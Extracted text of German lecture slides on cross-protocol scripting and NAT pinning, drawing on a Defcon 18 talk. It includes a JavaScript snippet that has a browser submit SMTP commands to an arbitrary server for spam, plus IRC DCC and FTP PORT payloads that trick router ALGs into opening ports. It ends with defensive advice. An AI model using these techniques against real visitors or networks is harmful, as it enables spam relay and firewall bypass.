IT Security Cross Protocol Scripting & NAT Pinning Emanuel Klein
Motivation Defcon 18 Videos auf Youtube How i met your Girlfriend Von Samy Kamkar Inhalt: PHP 160 Bit Session Variable Reduktion auf 40 Bit Cross Protocol Scripitng (XPS) NAT Pinning Webkit Integer overflow Geolocation via XXXSS
Cross Protocol Scripting (XPS) HTTP Newline Protocol Browser ist HTTP Client \n Client HTTP Server auf Port 80, 443,8080, ???? Andere Newline Protokolle SMTP FTP IRC
Der Browser als beliebiger Client SMTP Zum versenden von Spam IRC Zum versenden von Spam -> NAT Pinning FTP -> NAT Pinning
Der Javascript Client doc = document.createElement(form); doc.setAttribute(name,x); doc.setAttribute(method,POST); //GET Funktioniert natürlich nicht doc.setAttribute(action, //Server+Port doc.setAttribute(enctype,multipart/form-data); //erhält newlines! payload = document.createElement(textarea); payload.setAttribute(name, C); // Der eigentliche Inhalt data = HELO\nMAIL FROM: \nRCPT TO: \nDATA\nSubject: Raketenfuzzys\nKeep up the good payload.setAttribute(value, data); payload.innerHTML = data; payload.innerText = data; doc.appendChild(palyoad); document.body.appendChild(doc); doc.submit(); //Abschicken
Demo
Webkit Integer Overflow IRC Port = = Browser check: If port != 6667 then connect(hostname, port) TCP/UDP Port nur 16 Bit groß 17. Bit wird einfach abgeschnitten!
NAT Pinning SOHO Router und Firewalls sind ALGs Inspizieren und Interpretieren Layer 7 Payload Beispiele: IRC/DCC: PRIVMSG target :DCC target $IP $PORT Netfilter IRC Conntrack FTP PORT Command PORT ip1.ip2.ip3.ip4.p1.p2 ? Implementationsabhängig!
Was lernen wir daraus Browser: Aktuellen Browser verwenden (patchen, auch Browser!) NoScript? Firewall: Regeln überdenken Brauche/habe ich ALG Funktionalität aktiviert? Host based Firewalls
Vielen Dank für Ihre Aufmerksamkeit!